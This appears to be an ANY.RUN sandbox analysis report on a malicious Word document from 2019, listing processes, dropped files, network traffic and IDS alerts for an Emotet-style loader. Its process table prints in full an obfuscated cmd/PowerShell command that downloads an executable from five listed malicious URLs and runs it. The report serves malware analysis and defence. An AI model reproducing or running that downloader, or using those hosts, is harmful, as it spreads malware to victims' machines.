File name:

d5948f243d4853382fa32258ec10fb78a591952003fd8857f9805abbe9693a2f.bin.gz

Full analysis: https://app.any.run/tasks/57f0a7aa-3de7-4cf2-a861-88d8765b746b
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: January 18, 2019, 11:23:27
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ransomware
loader
Indicators:
MIME: application/gzip
File info: gzip compressed data, max compression, from Unix
MD5:

6CE3B283400F2E021F9C78C10481E6B0

SHA1:

3ECA92BAB6EA2174DF7D8550D7A4D9D8CD68974F

SHA256:

05B8AA1300A6C0013B3B766BA235440DB37EE8750DC64382C4B29A324C916CEE

SSDEEP:

1536:WyNmjKh4q57lzenyUST/aA/BZ8xSJPXQDD7r3EMUTyN88vN4bK+JptQcG9pr8yIj:Wgrh4q5uyUUZ/33i/CTy1EnJptY9pbSx

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 2400)
    • Application was dropped or rewritten from another process

      • wabmetagen.exe (PID: 2840)
      • 929.exe (PID: 3888)
      • 929.exe (PID: 2604)
      • wabmetagen.exe (PID: 2272)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2400)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2608)
  • SUSPICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 3992)
    • Creates files in the user directory

      • powershell.exe (PID: 2608)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2608)
      • 929.exe (PID: 2604)
    • Starts itself from another location

      • 929.exe (PID: 2604)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2400)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2400)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.z/gz/gzip | GZipped data (100)

EXIF

ZIP

Compression: Deflated
Flags: (none)
ModifyDate: 0000:00:00 00:00:00
ExtraFlags: Maximum Compression
OperatingSystem: Unix
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
8
Malicious processes
1
Suspicious processes
4

Behavior graph

Click at the process to see the details
start drop and start drop and start winrar.exe no specs winword.exe no specs cmd.exe no specs powershell.exe 929.exe no specs 929.exe wabmetagen.exe no specs wabmetagen.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2272"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe929.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\wabmetagen\wabmetagen.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\winscard.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
2400"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\d5948f243d4853382fa32258ec10fb78a591952003fd8857f9805abbe9693a2f.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2604"C:\Users\Public\929.exe"C:\Users\Public\929.exe
929.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\public\929.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\winscard.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
2608powershell $Designerkf39='AIru62';$granularw63=new-object Net.WebClient;$strategyj29='http://bouresmau-gsf.com/ZhPZMfOo@http://demos.technoexam.com/C1CpwolKHv@http://livingdivineprinciple.org/xTV5cGLcz2@http://uttechsystem.com/ZzO90Kh@http://antidisciplinary.org/QvzhhXf'.Split('@');$CheckingAccountzo60='circuitwf76';$Avonc68 = '929';$Oregonhi28='redundantq39';$BarbadosDollarbc53=$env:public+'\'+$Avonc68+'.exe';foreach($definitionul69 in $strategyj29){try{$granularw63.DownloadFile($definitionul69, $BarbadosDollarbc53);$copyn77='Dataf11';If ((Get-Item $BarbadosDollarbc53).length -ge 80000) {Invoke-Item $BarbadosDollarbc53;$drivernz97='GBu18';break;}}catch{}}$Highwayn87='Unbrandedj75';C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2840"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exewabmetagen.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\wabmetagen\wabmetagen.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\winscard.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
3140"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\d5948f243d4853382fa32258ec10fb78a591952003fd8857f9805abbe9693a2f.bin.gz.z"C:\Program Files\WinRAR\WinRAR.exeexplorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
3888"C:\Users\Public\929.exe" C:\Users\Public\929.exepowershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\public\929.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\winscard.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
3992c:\crossplatformn67\SASlu36\Analystu71\..\..\..\windows\system32\cmd.exe /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Designerkf39='AIru62';$granularw63=new-object Net.WebClient;$strategyj29='http://bouresmau-gsf.com/ZhPZMfOo@http://demos.technoexam.com/C1CpwolKHv@http://livingdivineprinciple.org/xTV5cGLcz2@http://uttechsystem.com/ZzO90Kh@http://antidisciplinary.org/QvzhhXf'.Split('@');$CheckingAccountzo60='circuitwf76';$Avonc68 = '929';$Oregonhi28='redundantq39';$BarbadosDollarbc53=$env:public+'\'+$Avonc68+'.exe';foreach($definitionul69 in $strategyj29){try{$granularw63.DownloadFile($definitionul69, $BarbadosDollarbc53);$copyn77='Dataf11';If ((Get-Item $BarbadosDollarbc53).length -ge 80000) {Invoke-Item $BarbadosDollarbc53;$drivernz97='GBu18';break;}}catch{}}$Highwayn87='Unbrandedj75';c:\windows\system32\cmd.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
1 538
Read events
1 125
Write events
406
Delete events
7

Modification events

(PID) Process:(3140) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(3140) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(3140) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3140) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\d5948f243d4853382fa32258ec10fb78a591952003fd8857f9805abbe9693a2f.bin.gz.z
(PID) Process:(3140) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(3140) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(3140) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(3140) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(2400) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:l=.
Value:
6C3D2E0060090000010000000000000000000000
(PID) Process:(2400) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
Executable files
2
Suspicious files
2
Text files
2
Unknown types
4

Dropped files

PID
Process
Filename
Type
3140WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3140.13316\d5948f243d4853382fa32258ec10fb78a591952003fd8857f9805abbe9693a2f.bin.gz
MD5:
SHA256:
2400WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRB1CC.tmp.cvr
MD5:
SHA256:
2400WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AF6E936E.jpg
MD5:
SHA256:
2608powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JSCPYJRDRZ0BSDTCLW16.temp
MD5:
SHA256:
2400WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\d5948f243d4853382fa32258ec10fb78a591952003fd8857f9805abbe9693a2f.doc.LNKlnk
MD5:
SHA256:
2608powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF24bb71.TMPbinary
MD5:
SHA256:
2608powershell.exeC:\Users\Public\929.exeexecutable
MD5:
SHA256:
2400WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:
SHA256:
2604929.exeC:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exeexecutable
MD5:
SHA256:
2400WINWORD.EXEC:\Users\admin\Desktop\~$948f243d4853382fa32258ec10fb78a591952003fd8857f9805abbe9693a2f.docpgc
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
1
DNS requests
1
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2608
powershell.exe
GET
301
87.98.154.146:80
http://bouresmau-gsf.com/ZhPZMfOo
FR
html
242 b
malicious
2608
powershell.exe
GET
200
87.98.154.146:80
http://bouresmau-gsf.com/ZhPZMfOo/
FR
executable
156 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2608
powershell.exe
87.98.154.146:80
bouresmau-gsf.com
OVH SAS
FR
malicious

DNS requests

Domain
IP
Reputation
bouresmau-gsf.com
  • 87.98.154.146
malicious

Threats

PID
Process
Class
Message
2608
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
2608
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
2608
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2608
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2608
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info